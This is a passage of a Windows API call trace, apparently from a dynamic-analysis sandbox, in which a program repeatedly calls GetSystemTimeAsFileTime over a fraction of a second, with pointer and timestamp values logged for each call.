dwHighDateTime=0x1d8a8f3)) [0193.379] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8deb8f30, dwHighDateTime=0x1d8a8f3)) [0193.380] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8deb8f30, dwHighDateTime=0x1d8a8f3)) [0193.384] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8deb8f30, dwHighDateTime=0x1d8a8f3)) [0193.386] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8dedf090, dwHighDateTime=0x1d8a8f3)) [0193.390] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8dedf090, dwHighDateTime=0x1d8a8f3)) [0193.391] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8dedf090, dwHighDateTime=0x1d8a8f3)) [0193.395] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8dedf090, dwHighDateTime=0x1d8a8f3)) [0193.396] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8dedf090, dwHighDateTime=0x1d8a8f3)) [0193.400] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8df051f0, dwHighDateTime=0x1d8a8f3)) [0193.401] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8df051f0, dwHighDateTime=0x1d8a8f3)) [0193.405] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8df051f0, dwHighDateTime=0x1d8a8f3)) [0193.406] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8df051f0, dwHighDateTime=0x1d8a8f3)) [0193.411] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8df051f0, dwHighDateTime=0x1d8a8f3)) [0193.412] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8df051f0, dwHighDateTime=0x1d8a8f3)) [0193.412] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8df051f0, dwHighDateTime=0x1d8a8f3)) [0193.416] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8df2b350, dwHighDateTime=0x1d8a8f3)) [0193.421] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8df2b350, dwHighDateTime=0x1d8a8f3)) [0193.425] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8df2b350, dwHighDateTime=0x1d8a8f3)) [0193.429] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8df2b350, dwHighDateTime=0x1d8a8f3)) [0193.434] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8df514b0, dwHighDateTime=0x1d8a8f3)) [0193.435] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8df514b0, dwHighDateTime=0x1d8a8f3)) [0193.439] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8df514b0, dwHighDateTime=0x1d8a8f3)) [0193.440] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8df514b0, dwHighDateTime=0x1d8a8f3)) [0193.445] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8df514b0, dwHighDateTime=0x1d8a8f3)) [0193.446] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8df514b0, dwHighDateTime=0x1d8a8f3)) [0193.450] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8df77610, dwHighDateTime=0x1d8a8f3)) [0193.451] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8df77610, dwHighDateTime=0x1d8a8f3)) [0193.455] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8df77610, dwHighDateTime=0x1d8a8f3)) [0193.456] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8df77610, dwHighDateTime=0x1d8a8f3)) [0193.460] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8df77610, dwHighDateTime=0x1d8a8f3)) [0193.461] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8df77610, dwHighDateTime=0x1d8a8f3)) [0193.461] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8df77610, dwHighDateTime=0x1d8a8f3)) [0193.466] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8df9d770, dwHighDateTime=0x1d8a8f3)) [0193.467] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8df9d770, dwHighDateTime=0x1d8a8f3)) [0193.471] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8df9d770, dwHighDateTime=0x1d8a8f3)) [0193.473] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8df9d770, dwHighDateTime=0x1d8a8f3)) [0193.477] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8df9d770, dwHighDateTime=0x1d8a8f3)) [0193.478] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8df9d770, dwHighDateTime=0x1d8a8f3)) [0193.482] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8dfc38d0, dwHighDateTime=0x1d8a8f3)) [0193.484] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8dfc38d0, dwHighDateTime=0x1d8a8f3)) [0193.488] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8dfc38d0, dwHighDateTime=0x1d8a8f3)) [0193.489] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8dfc38d0, dwHighDateTime=0x1d8a8f3)) [0193.493] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8dfc38d0, dwHighDateTime=0x1d8a8f3)) [0193.494] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8dfe9a30, dwHighDateTime=0x1d8a8f3)) [0193.499] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8dfe9a30, dwHighDateTime=0x1d8a8f3)) [0193.500] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8dfe9a30, dwHighDateTime=0x1d8a8f3)) [0193.504] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8dfe9a30, dwHighDateTime=0x1d8a8f3)) [0193.505] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8dfe9a30, dwHighDateTime=0x1d8a8f3)) [0193.511] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8e00fb90, dwHighDateTime=0x1d8a8f3)) [0193.512] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e00fb90, dwHighDateTime=0x1d8a8f3)) [0193.516] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8e00fb90, dwHighDateTime=0x1d8a8f3)) [0193.517] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e00fb90, dwHighDateTime=0x1d8a8f3)) [0193.521] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8e00fb90, dwHighDateTime=0x1d8a8f3)) [0193.522] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e00fb90, dwHighDateTime=0x1d8a8f3)) [0193.527] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8e035cf0, dwHighDateTime=0x1d8a8f3)) [0193.528] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e035cf0, dwHighDateTime=0x1d8a8f3)) [0193.532] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8e035cf0, dwHighDateTime=0x1d8a8f3)) [0193.534] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e035cf0, dwHighDateTime=0x1d8a8f3)) [0193.538] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8e035cf0, dwHighDateTime=0x1d8a8f3)) [0193.539] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e035cf0, dwHighDateTime=0x1d8a8f3)) [0193.543] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8e05be50, dwHighDateTime=0x1d8a8f3)) [0193.545] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e05be50, dwHighDateTime=0x1d8a8f3)) [0193.549] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8e05be50, dwHighDateTime=0x1d8a8f3)) [0193.550] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e05be50, dwHighDateTime=0x1d8a8f3)) [0193.555] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8e05be50, dwHighDateTime=0x1d8a8f3)) [0193.556] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e05be50, dwHighDateTime=0x1d8a8f3)) [0193.556] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e05be50, dwHighDateTime=0x1d8a8f3)) [0193.560] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8e081fb0, dwHighDateTime=0x1d8a8f3)) [0193.561] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e081fb0, dwHighDateTime=0x1d8a8f3)) [0193.565] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8e081fb0, dwHighDateTime=0x1d8a8f3)) [0193.567] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e081fb0, dwHighDateTime=0x1d8a8f3)) [0193.567] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e081fb0, dwHighDateTime=0x1d8a8f3)) [0193.570] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8e081fb0, dwHighDateTime=0x1d8a8f3)) [0193.571] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e081fb0, dwHighDateTime=0x1d8a8f3)) [0193.576] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8e0a8110, dwHighDateTime=0x1d8a8f3)) [0193.577] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e0a8110, dwHighDateTime=0x1d8a8f3)) [0193.581] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8e0a8110, dwHighDateTime=0x1d8a8f3)) [0193.583] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e0a8110, dwHighDateTime=0x1d8a8f3)) [0193.587] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8e0a8110, dwHighDateTime=0x1d8a8f3)) [0193.588] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e0ce270, dwHighDateTime=0x1d8a8f3)) [0193.592] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8e0ce270, dwHighDateTime=0x1d8a8f3)) [0193.594] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e0ce270, dwHighDateTime=0x1d8a8f3)) [0193.598] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8e0ce270, dwHighDateTime=0x1d8a8f3)) [0193.599] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e0ce270, dwHighDateTime=0x1d8a8f3)) [0193.606] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8e0f43d0, dwHighDateTime=0x1d8a8f3)) [0193.607] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e0f43d0, dwHighDateTime=0x1d8a8f3)) [0193.611] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8e0f43d0, dwHighDateTime=0x1d8a8f3)) [0193.613] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e0f43d0, dwHighDateTime=0x1d8a8f3)) [0193.617] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8e0f43d0, dwHighDateTime=0x1d8a8f3)) [0193.618] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e0f43d0, dwHighDateTime=0x1d8a8f3)) [0193.622] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8e11a530, dwHighDateTime=0x1d8a8f3)) [0193.624] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e11a530, dwHighDateTime=0x1d8a8f3)) [0193.628] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8e11a530, dwHighDateTime=0x1d8a8f3)) [0193.629] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e11a530, dwHighDateTime=0x1d8a8f3)) [0193.629] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e11a530, dwHighDateTime=0x1d8a8f3)) [0193.629] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e11a530, dwHighDateTime=0x1d8a8f3)) [0193.633] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8e11a530, dwHighDateTime=0x1d8a8f3)) [0193.635] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e140690, dwHighDateTime=0x1d8a8f3)) [0193.635] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e140690, dwHighDateTime=0x1d8a8f3)) [0193.635] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e140690, dwHighDateTime=0x1d8a8f3)) [0193.639] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8e140690, dwHighDateTime=0x1d8a8f3)) [0193.640] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e140690, dwHighDateTime=0x1d8a8f3)) [0193.644] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8e140690, dwHighDateTime=0x1d8a8f3)) [0193.646] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e140690, dwHighDateTime=0x1d8a8f3)) [0193.674] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8e1667f0, dwHighDateTime=0x1d8a8f3)) [0193.676] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e1667f0, dwHighDateTime=0x1d8a8f3)) [0193.680] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8e1667f0, dwHighDateTime=0x1d8a8f3)) [0193.681] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e18c950, dwHighDateTime=0x1d8a8f3)) [0193.685] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8e18c950, dwHighDateTime=0x1d8a8f3)) [0193.686] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e18c950, dwHighDateTime=0x1d8a8f3)) [0193.690] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8e18c950, dwHighDateTime=0x1d8a8f3)) [0193.691] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e18c950, dwHighDateTime=0x1d8a8f3)) [0193.695] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8e18c950, dwHighDateTime=0x1d8a8f3)) [0193.696] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e18c950, dwHighDateTime=0x1d8a8f3)) [0193.700] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8e1b2ab0, dwHighDateTime=0x1d8a8f3)) [0193.701] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e1b2ab0, dwHighDateTime=0x1d8a8f3)) [0193.705] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8e1b2ab0, dwHighDateTime=0x1d8a8f3)) [0193.706] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e1b2ab0, dwHighDateTime=0x1d8a8f3)) [0193.710] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8e1b2ab0, dwHighDateTime=0x1d8a8f3)) [0193.711] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e1b2ab0, dwHighDateTime=0x1d8a8f3)) [0193.711] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e1b2ab0, dwHighDateTime=0x1d8a8f3)) [0193.716] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8e1d8c10, dwHighDateTime=0x1d8a8f3)) [0193.718] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e1d8c10, dwHighDateTime=0x1d8a8f3)) [0193.722] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8e1d8c10, dwHighDateTime=0x1d8a8f3)) [0193.723] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e1d8c10, dwHighDateTime=0x1d8a8f3)) [0193.727] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8e1d8c10, dwHighDateTime=0x1d8a8f3)) [0193.728] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e1fed70, dwHighDateTime=0x1d8a8f3)) [0193.732] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8e1fed70, dwHighDateTime=0x1d8a8f3)) [0193.733] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e1fed70, dwHighDateTime=0x1d8a8f3)) [0193.737] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8e1fed70, dwHighDateTime=0x1d8a8f3)) [0193.738] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e1fed70, dwHighDateTime=0x1d8a8f3)) [0193.742] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7a3b4 | out: lpSystemTimeAsFileTime=0x2a7a3b4*(dwLowDateTime=0x8e1fed70, dwHighDateTime=0x1d8a8f3)) [0193.743] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2a7b374 | out: lpSystemTimeAsFileTime=0x2a7b374*(dwLowDateTime=0x8e1fed70, dwHighDateTime=0x1d8a8f3)) [0193.746] 